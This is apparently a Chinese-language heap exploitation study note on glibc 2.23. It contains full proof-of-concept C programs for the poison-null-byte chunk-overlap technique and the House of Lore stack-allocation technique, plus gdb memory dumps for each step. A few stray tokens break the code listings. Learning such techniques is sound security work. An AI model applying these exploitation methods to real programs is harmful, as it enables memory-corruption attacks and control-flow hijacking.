poison_null_byte

漏洞点为单字节溢出且为NULL byte溢出
常见于strcpy函数,在复制字符串时会拷贝结束符\x00
通过修改size位,最后free后一个chunk,触发unlink造成堆块重叠

示例代码

ubuntu16 glibc2.23

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>


int main()
{
setbuf(stdin, NULL);
setbuf(stdout, NULL);

byte
printf("Welcome to poison null byte 2.0!\n");
printf("Tested in Ubuntu 16.04 64bit.\n");
printf("This technique only works with disabled tcache-option for glibc, see build_glibc.sh for build instructions.\n");
printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");

uint8_t* a;
uint8_t* b;
uint8_t* c;
uint8_t* b1;
uint8_t* b2;
uint8_t* d;
void *barrier;

printf("We allocate 0x100 bytes for 'a'.\n");
a = (uint8_t*) malloc(0x100);
printf("a: %p\n", a);
int real_a_size = malloc_usable_size(a);
printf("Since we want to overflow 'a', we need to know the 'real' size of 'a' "
"(it may be more than 0x100 because of rounding): %#x\n", real_a_size);

/* chunk size attribute cannot have a least significant byte with a value of 0x00.
* the least significant byte of this will be 0x10, because the size of the chunk includes
* the amount requested plus some amount required for the metadata. */
b = (uint8_t*) malloc(0x200);

printf("b: %p\n", b);

c = (uint8_t*) malloc(0x100);
printf("c: %p\n", c);

barrier = malloc(0x100);
printf("We allocate a barrier at %p, so that c is not consolidated with the top-chunk when freed.\n"
"The barrier is not strictly necessary, but makes things less confusing\n", barrier);

uint64_t* b_size_ptr = (uint64_t*)(b - 8);

// added fix for size==prev_size(next_chunk) check in newer versions of glibc
// https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=17f487b7afa7cd6c316040f3e6c86dc96b2eec30
// this added check requires we are allowed to have null pointers in b (not just a c string)
//*(size_t*)(b+0x1f0) = 0x200;
printf("In newer versions of glibc we will need to have our updated size inside b itself to pass "
"the check 'chunksize(P) != prev_size (next_chunk(P))'\n");
// we set this location to 0x200 since 0x200 == (0x211 & 0xff00)
// which is the value of b.size after its first byte has been overwritten with a NULL byte
*(size_t*)(b+0x1f0) = 0x200;

// this technique works by overwriting the size metadata of a free chunk
free(b);

printf("b.size: %#lx\n", *b_size_ptr);
printf("b.size is: (0x200 + 0x10) | prev_in_use\n");
printf("We overflow 'a' with a single null byte into the metadata of 'b'\n");
a[real_a_size] = 0; // <--- THIS IS THE "EXPLOITED BUG"
printf("b.size: %#lx\n", *b_size_ptr);

uint64_t* c_prev_size_ptr = ((uint64_t*)c)-2;
printf("c.prev_size is %#lx\n",*c_prev_size_ptr);

// This malloc will result in a call to unlink on the chunk where b was.
// The added check (commit id: 17f487b), if not properly handled as we did before,
// will detect the heap corruption now.
// The check is this: chunksize(P) != prev_size (next_chunk(P)) where
// P == b-0x10, chunksize(P) == *(b-0x10+0x8) == 0x200 (was 0x210 before the overflow)
// next_chunk(P) == b-0x10+0x200 == b+0x1f0
// prev_size (next_chunk(P)) == *(b+0x1f0) == 0x200
printf("We will pass the check since chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\n",
*((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8))));
b1 = malloc(0x100);

printf("b1: %p\n",b1);
printf("Now we malloc 'b1'. It will be placed where 'b' was. "
"At this point c.prev_size should have been updated, but it was not: %#lx\n",*c_prev_size_ptr);
printf("Interestingly, the updated value of c.prev_size has been written 0x10 bytes "
"before c.prev_size: %lx\n",*(((uint64_t*)c)-4));
printf("We malloc 'b2', our 'victim' chunk.\n");
// Typically b2 (the victim) will be a structure with valuable pointers that we want to control

b2 = malloc(0x80);
printf("b2: %p\n",b2);

memset(b2,'B',0x80);
printf("Current b2 content:\n%s\n",b2);

printf("Now we free 'b1' and 'c': this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').\n");

free(b1);
free(c);

printf("Finally, we allocate 'd', overlapping 'b2'.\n");
d = malloc(0x300);
printf("d: %p\n",d);

printf("Now 'd' and 'b2' overlap.\n");
memset(d,'D',0x300);

printf("New b2 content:\n%s\n",b2);

printf("Thanks to https://www.contextis.com/resources/white-papers/glibc-adventures-the-forgotten-chunks"
"for the clear explanation of this technique.\n");

assert(strstr(b2, "DDDDDDDDDDDD"));
}

分析

先malloc四个堆块,最后一个作为防止和top chunk合并的barrier

1
2
3
4
malloc(0x100) a
malloc(0x200) b
malloc(0x100) c
malloc(0x100) (barrier)

设置一个fake presize,绕过检查
The check is this: chunksize(P) != prev_size (next_chunk(P))
*(size_t*)(b+0x1f0) = 0x200;

1
2
3
4
5
6
7
8
0x603110:	0x0000000000000000	0x0000000000000211 --> chunkb
0x603120: 0x0000000000000000 0x0000000000000000
0x603130: 0x0000000000000000 0x0000000000000000
......
0x6032f0: 0x0000000000000000 0x0000000000000000
0x603300: 0x0000000000000000 0x0000000000000000
0x603310: 0x0000000000000200 0x0000000000000000 --> fake pre_size
0x603320: 0x0000000000000000 0x0000000000000111 --> chunk c

free(b)
这时chunk c的presize和pre_in_use会随之正常更新

1
2
3
4
5
6
7
8
0x603110:	0x0000000000000000	0x0000000000000211 --> chunkb
0x603120: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x603130: 0x0000000000000000 0x0000000000000000
......
0x6032f0: 0x0000000000000000 0x0000000000000000
0x603300: 0x0000000000000000 0x0000000000000000
0x603310: 0x0000000000000200 0x0000000000000000 --> fake pre_size
0x603320: 0x0000000000000210 0x0000000000000110 --> chunk c

利用chunk a对chunk b溢出null byte

1
2
3
4
5
6
7
8
9
0x603110:	0x0000000000000000	0x0000000000000200 --> null byte, size
0x603120: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x603130: 0x0000000000000000 0x0000000000000000
0x603140: 0x0000000000000000 0x0000000000000000
......
0x6032f0: 0x0000000000000000 0x0000000000000000
0x603300: 0x0000000000000000 0x0000000000000000
0x603310: 0x0000000000000200 0x0000000000000000 --> fake pre_size
0x603320: 0x0000000000000210 0x0000000000000110 --> chunk c

malloc(0x100) b1
这之前只有unsorted bin里有一个0x200大小的chunk

1
2
3
4
5
Free chunk (unsortedbin)
Addr: 0x603110
Size: 0x200
fd: 0x7ffff7dd1b78
bk: 0x7ffff7dd1b78

之后这个chunk被切割出0x110作为chunk b1
剩下0xf1留在unsorted bin中
同时我们伪造的presize位被更新(根据该chunk索引到下一个chunk的presize)
1
2
3
4
5
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x603220
Size: 0xf1
fd: 0x7ffff7dd1b78
bk: 0x7ffff7dd1b78

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
0x603110:	0x0000000000000000	0x0000000000000111 --> chunk b1
0x603120: 0x00007ffff7dd1d68 0x00007ffff7dd1d68
0x603130: 0x0000000000000000 0x0000000000000000
0x603140: 0x0000000000000000 0x0000000000000000
0x603150: 0x0000000000000000 0x0000000000000000
0x603160: 0x0000000000000000 0x0000000000000000
0x603170: 0x0000000000000000 0x0000000000000000
0x603180: 0x0000000000000000 0x0000000000000000
0x603190: 0x0000000000000000 0x0000000000000000
0x6031a0: 0x0000000000000000 0x0000000000000000
0x6031b0: 0x0000000000000000 0x0000000000000000
0x6031c0: 0x0000000000000000 0x0000000000000000
0x6031d0: 0x0000000000000000 0x0000000000000000
0x6031e0: 0x0000000000000000 0x0000000000000000
0x6031f0: 0x0000000000000000 0x0000000000000000
0x603200: 0x0000000000000000 0x0000000000000000
0x603210: 0x0000000000000000 0x0000000000000000
0x603220: 0x0000000000000000 0x00000000000000f1 --> free chunk
0x603230: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x603240: 0x0000000000000000 0x0000000000000000
0x603250: 0x0000000000000000 0x0000000000000000
0x603260: 0x0000000000000000 0x0000000000000000
0x603270: 0x0000000000000000 0x0000000000000000
0x603280: 0x0000000000000000 0x0000000000000000
0x603290: 0x0000000000000000 0x0000000000000000
0x6032a0: 0x0000000000000000 0x0000000000000000
0x6032b0: 0x0000000000000000 0x0000000000000000
0x6032c0: 0x0000000000000000 0x0000000000000000
0x6032d0: 0x0000000000000000 0x0000000000000000
0x6032e0: 0x0000000000000000 0x0000000000000000
0x6032f0: 0x0000000000000000 0x0000000000000000
0x603300: 0x0000000000000000 0x0000000000000000
0x603310: 0x00000000000000f0 0x0000000000000000 --> fake presize
0x603320: 0x0000000000000210 0x0000000000000110 --> chunk c

malloc(0x80) b2
memset(b2,’B’,0x80);
再申请一个chunk,并填满’B’
伪造的presize位继续更新

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
0x603110:	0x0000000000000000	0x0000000000000111 -->chunk b1
0x603120: 0x00007ffff7dd1d68 0x00007ffff7dd1d68
0x603130: 0x0000000000000000 0x0000000000000000
0x603140: 0x0000000000000000 0x0000000000000000
0x603150: 0x0000000000000000 0x0000000000000000
0x603160: 0x0000000000000000 0x0000000000000000
0x603170: 0x0000000000000000 0x0000000000000000
0x603180: 0x0000000000000000 0x0000000000000000
0x603190: 0x0000000000000000 0x0000000000000000
0x6031a0: 0x0000000000000000 0x0000000000000000
0x6031b0: 0x0000000000000000 0x0000000000000000
0x6031c0: 0x0000000000000000 0x0000000000000000
0x6031d0: 0x0000000000000000 0x0000000000000000
0x6031e0: 0x0000000000000000 0x0000000000000000
0x6031f0: 0x0000000000000000 0x0000000000000000
0x603200: 0x0000000000000000 0x0000000000000000
0x603210: 0x0000000000000000 0x0000000000000000
0x603220: 0x0000000000000000 0x0000000000000091 --> chunk b2
0x603230: 0x4242424242424242 0x4242424242424242
0x603240: 0x4242424242424242 0x4242424242424242
0x603250: 0x4242424242424242 0x4242424242424242
0x603260: 0x4242424242424242 0x4242424242424242
0x603270: 0x4242424242424242 0x4242424242424242
0x603280: 0x4242424242424242 0x4242424242424242
0x603290: 0x4242424242424242 0x4242424242424242
0x6032a0: 0x4242424242424242 0x4242424242424242
0x6032b0: 0x0000000000000000 0x0000000000000061 --> free chunk
0x6032c0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x6032d0: 0x0000000000000000 0x0000000000000000
0x6032e0: 0x0000000000000000 0x0000000000000000
0x6032f0: 0x0000000000000000 0x0000000000000000
0x603300: 0x0000000000000000 0x0000000000000000
0x603310: 0x0000000000000060 0x0000000000000000 --> fake pre_size
0x603320: 0x0000000000000210 0x0000000000000110 --> chunk c

free(b1)
free(c)
执行free c后,根据chunk c的pre_inuse位发现前一个chunk处于空闲状态,然后根据presize找到前一个chunk,并对该chunk进行unlink操作

后向合并部分的源码

1
2
3
4
5
6
7
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = prev_size(p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}

效果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
0x603110:	0x0000000000000000	0x0000000000000321 -->free chunk
0x603120: 0x00000000006032b0 0x00007ffff7dd1b78
0x603130: 0x0000000000000000 0x0000000000000000
0x603140: 0x0000000000000000 0x0000000000000000
0x603150: 0x0000000000000000 0x0000000000000000
0x603160: 0x0000000000000000 0x0000000000000000
0x603170: 0x0000000000000000 0x0000000000000000
0x603180: 0x0000000000000000 0x0000000000000000
0x603190: 0x0000000000000000 0x0000000000000000
0x6031a0: 0x0000000000000000 0x0000000000000000
0x6031b0: 0x0000000000000000 0x0000000000000000
0x6031c0: 0x0000000000000000 0x0000000000000000
0x6031d0: 0x0000000000000000 0x0000000000000000
0x6031e0: 0x0000000000000000 0x0000000000000000
0x6031f0: 0x0000000000000000 0x0000000000000000
0x603200: 0x0000000000000000 0x0000000000000000
0x603210: 0x0000000000000000 0x0000000000000000
0x603220: 0x0000000000000110 0x0000000000000090 -->chunk b2
0x603230: 0x4242424242424242 0x4242424242424242
0x603240: 0x4242424242424242 0x4242424242424242
0x603250: 0x4242424242424242 0x4242424242424242
0x603260: 0x4242424242424242 0x4242424242424242
0x603270: 0x4242424242424242 0x4242424242424242
0x603280: 0x4242424242424242 0x4242424242424242
0x603290: 0x4242424242424242 0x4242424242424242
0x6032a0: 0x4242424242424242 0x4242424242424242
0x6032b0: 0x0000000000000000 0x0000000000000061
0x6032c0: 0x00007ffff7dd1b78 0x0000000000603110
0x6032d0: 0x0000000000000000 0x0000000000000000
0x6032e0: 0x0000000000000000 0x0000000000000000
0x6032f0: 0x0000000000000000 0x0000000000000000
0x603300: 0x0000000000000000 0x0000000000000000
0x603310: 0x0000000000000060 0x0000000000000000
0x603320: 0x0000000000000210 0x0000000000000110 -->free chunk

1
2
3
4
─────────────────────────── Unsorted Bin for arena 'main_arena' ───────────────────────────
[+] unsorted_bins[0]: fw=0x603110, bk=0x6032b0
→ Chunk(addr=0x603120, size=0x320, flags=PREV_INUSE) → Chunk(addr=0x6032c0, size=0x60, flags=PREV_INUSE)

malloc(0x300) d
chunk d与chunk b2重叠
向chunk d填入0x300个D,覆盖了原本chunk b2的B

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
0x603110:	0x0000000000000000	0x0000000000000321 --> chunk d
0x603120: 0x4444444444444444 0x4444444444444444
0x603130: 0x4444444444444444 0x4444444444444444
0x603140: 0x4444444444444444 0x4444444444444444
0x603150: 0x4444444444444444 0x4444444444444444
0x603160: 0x4444444444444444 0x4444444444444444
0x603170: 0x4444444444444444 0x4444444444444444
0x603180: 0x4444444444444444 0x4444444444444444
0x603190: 0x4444444444444444 0x4444444444444444
0x6031a0: 0x4444444444444444 0x4444444444444444
0x6031b0: 0x4444444444444444 0x4444444444444444
0x6031c0: 0x4444444444444444 0x4444444444444444
0x6031d0: 0x4444444444444444 0x4444444444444444
0x6031e0: 0x4444444444444444 0x4444444444444444
0x6031f0: 0x4444444444444444 0x4444444444444444
0x603200: 0x4444444444444444 0x4444444444444444
0x603210: 0x4444444444444444 0x4444444444444444
0x603220: 0x4444444444444444 0x4444444444444444
0x603230: 0x4444444444444444 0x4444444444444444
0x603240: 0x4444444444444444 0x4444444444444444
0x603250: 0x4444444444444444 0x4444444444444444
0x603260: 0x4444444444444444 0x4444444444444444
0x603270: 0x4444444444444444 0x4444444444444444
0x603280: 0x4444444444444444 0x4444444444444444
0x603290: 0x4444444444444444 0x4444444444444444
0x6032a0: 0x4444444444444444 0x4444444444444444
0x6032b0: 0x4444444444444444 0x4444444444444444
0x6032c0: 0x4444444444444444 0x4444444444444444
0x6032d0: 0x4444444444444444 0x4444444444444444
0x6032e0: 0x4444444444444444 0x4444444444444444
0x6032f0: 0x4444444444444444 0x4444444444444444
0x603300: 0x4444444444444444 0x4444444444444444
0x603310: 0x4444444444444444 0x4444444444444444
0x603320: 0x4444444444444444 0x4444444444444444
0x603330: 0x4444444444444444 0x4444444444444444
0x603340: 0x4444444444444444 0x4444444444444444
0x603350: 0x4444444444444444 0x4444444444444444
0x603360: 0x4444444444444444 0x4444444444444444
0x603370: 0x4444444444444444 0x4444444444444444
0x603380: 0x4444444444444444 0x4444444444444444
0x603390: 0x4444444444444444 0x4444444444444444
0x6033a0: 0x4444444444444444 0x4444444444444444
0x6033b0: 0x4444444444444444 0x4444444444444444
0x6033c0: 0x4444444444444444 0x4444444444444444
0x6033d0: 0x4444444444444444 0x4444444444444444
0x6033e0: 0x4444444444444444 0x4444444444444444
0x6033f0: 0x4444444444444444 0x4444444444444444
0x603400: 0x4444444444444444 0x4444444444444444
0x603410: 0x4444444444444444 0x4444444444444444
0x603420: 0x0000000000000000 0x0000000000000000
0x603430: 0x0000000000000320 0x0000000000000111 --> free chunk
0x603440: 0x0000000000000000 0x0000000000000000

总结

  1. 布置好堆块(核心堆块大于fastbin)
  2. 设置fake presize
  3. 单字节溢出null byte修改size位,与fake presize对应
  4. 释放chunk b
  5. 在chunk b里申请两个chunkb1,b2
  6. free chunkb1
  7. free 原本chunk b前面的chunk c,触发unlink
  8. 再申请相应大小的chunk造成chunk overlap

House of lore

前提

  • 需要控制small bin的bk指针,并控制指定位置的fd指针

原理

small chunk申请关键代码

1
2
3
4
5
6
7
8
9
10
11
12
// 获取 small bin 中倒数第二个 chunk 。
bck = victim->bk;
// 检查 bck->fd 是不是 victim,防止伪造
if (__glibc_unlikely(bck->fd != victim)) {
errstr = "malloc(): smallbin double linked list corrupted";
goto errout;
}
// 设置 victim 对应的 inuse 位
set_inuse_bit_at_offset(victim, nb);
// 修改 small bin 链表,将 small bin 的最后一个 chunk 取出来
bin->bk = bck;
bck->fd = bin;

示例代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
/*
Advanced exploitation of the House of Lore - Malloc Maleficarum.
This PoC take care also of the glibc hardening of smallbin corruption.

[ ... ]

else
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim)){

errstr = "malloc(): smallbin double linked list corrupted";
goto errout;
}

set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;

[ ... ]

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>

void jackpot(){ fprintf(stderr, "Nice jump d00d\n"); exit(0); }

int main(int argc, char * argv[]){


intptr_t* stack_buffer_1[4] = {0};
intptr_t* stack_buffer_2[3] = {0};

fprintf(stderr, "\nWelcome to the House of Lore\n");
fprintf(stderr, "This is a revisited version that bypass also the hardening check introduced by glibc malloc\n");
fprintf(stderr, "This is tested against Ubuntu 16.04.6 - 64bit - glibc-2.23\n\n");

fprintf(stderr, "Allocating the victim chunk\n");
intptr_t *victim = malloc(0x100);
fprintf(stderr, "Allocated the first small chunk on the heap at %p\n", victim);

// victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk
intptr_t *victim_chunk = victim-2;

fprintf(stderr, "stack_buffer_1 at %p\n", (void*)stack_buffer_1);//0x7fffffffdc90
fprintf(stderr, "stack_buffer_2 at %p\n", (void*)stack_buffer_2);//0x7fffffffdc70

fprintf(stderr, "Create a fake chunk on the stack\n");
fprintf(stderr, "Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted"
"in second to the last malloc, which putting stack address on smallbin list\n");
stack_buffer_1[0] = 0;
stack_buffer_1[1] = 0;
stack_buffer_1[2] = victim_chunk;

fprintf(stderr, "Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 "
"in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake "
"chunk on stack");
stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
stack_buffer_2[2] = (intptr_t*)stack_buffer_1;

fprintf(stderr, "Allocating another large chunk in order to avoid consolidating the top chunk with"
"the small one during the free()\n");
void *p5 = malloc(1000);
fprintf(stderr, "Allocated the large chunk on the heap at %p\n", p5);


fprintf(stderr, "Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim);
free((void*)victim);

fprintf(stderr, "\nIn the unsorted bin the victim's fwd and bk pointers are nil\n");
fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]);
fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);

fprintf(stderr, "Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin\n");
fprintf(stderr, "This means that the chunk %p will be inserted in front of the SmallBin\n", victim);
d
void *p2 = malloc(1200);
fprintf(stderr, "The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %p\n", p2);

fprintf(stderr, "The victim chunk has been sorted and its fwd and bk pointers updated\n");
fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]);
fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);

//------------VULNERABILITY-----------

fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");

victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack

//------------------------------------

fprintf(stderr, "Now allocating a chunk with size equal to the first one freed\n");
fprintf(stderr, "This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\n");

void *p3 = malloc(0x100);


fprintf(stderr, "This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\n");
char *p4 = malloc(0x100);
fprintf(stderr, "p4 = malloc(0x100)\n");

fprintf(stderr, "\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\n",
stack_buffer_2[2]);

fprintf(stderr, "\np4 is %p and should be on the stack!\n", p4); // this chunk will be allocated on stack
intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
memcpy((p4+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary

// sanity check
assert((long)__builtin_return_address(0) == (long)jackpot);
}

分析

本例通过修改small bin的bk指针指向栈上,同时控制栈上相应区域的fd指针,实现申请到栈上空间的目的

申请一个small chunk大小的堆

1
2
3
Allocated chunk | PREV_INUSE
Addr: 0x603000
Size: 0x111

构造栈上数据:
想要申请的区域是fake chunk1
构造fake chunk1的fd指向申请的small chunk,bk指向fake chunk2
构造fake chunk2的fd指向fake chunk1

1
2
3
4
5
0x7fffffffdc70:	0x0000000000000000	0x0000000000000000 --> fake chunk2
0x7fffffffdc80: 0x00007fffffffdc90 0x0000000000400c9d
0x7fffffffdc90: 0x0000000000000000 0x0000000000000000 --> fake chunk1
0x7fffffffdca0: 0x0000000000603000 0x00007fffffffdc70
0x7fffffffdcb0: 0x00007fffffffdda0 0x1fb70b24254c4000

目的是为了绕过检查:if (__glibc_unlikely(bck->fd != victim))
(victim是small bin最后一个chunk,bck是倒数第二个chunk,检查bck的fd是否指向victim)

首先,把先前申请的small chunk放进small bin:

  • free(small chunk)
    此时该chunk被放入unsorted bin中
    1
    2
    unsortedbin
    all: 0x603000 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x603000
    然后申请一个比该chunk大的chunk
  • malloc(1200)
    1
    2
    smallbins
    0x110: 0x603000 —▸ 0x7ffff7dd1c78 (main_arena+344) ◂— 0x603000
    这样就把这个chunk放进了small bin中

修改small bin的bk指向栈上的fake chunk1

1
2
3
pwndbg> x/10gx 0x603000
0x603000: 0x0000000000000000 0x0000000000000111 --> small bin
0x603010: 0x00007ffff7dd1c78 0x00007fffffffdc90 --> bk points to fake chunk1

申请一个堆,会申请到正常的small bin,同时栈上的fake chunk相应数据发生更新
(fake chunk1的fd指向main_arena附近)

  • malloc(0x100)
    1
    2
    bin->bk = bck;
    bck->fd = bin;
    1
    2
    3
    4
    5
    0x7fffffffdc70:	0x0000000000000000	0x0000000000000000 --> fake chunk2
    0x7fffffffdc80: 0x00007fffffffdc90 0x0000000000400c9d
    0x7fffffffdc90: 0x0000000000000000 0x0000000000000000 --> fake chunk1
    0x7fffffffdca0: 0x00007ffff7dd1c78 0x00007fffffffdc70
    0x7fffffffdcb0: 0x00007fffffffdda0 0xb2796b44103e6400

再申请一个堆,就申请到了栈上的fake chunk1

  • malloc(0x100)
    1
    2
    3
    //char *p4 = malloc(0x100);
    //fprintf(stderr, "\np4 is %p and should be on the stack!\n", p4);
    p4 is 0x7fffffffdca0 and should be on the stack!

细节

把unsorted bin放入small bin的原理:
把small chunk free掉后,它被放入unsorted bin中,此时申请一个chunk,一直遍历到unsorted bin时如果申请大小与其中的bin大小相等,则直接取出。
如果申请的大小小于其中bin的大小,则进行切割后把相应大小chunk取出,剩下的成为last reminder chunk留在unsorted bin中。
如果申请的大小大于其中bin的大小,则从top chunk分配相应大小的堆,而unsorted bin中空闲chunk会被取下link到相应大小的bin中。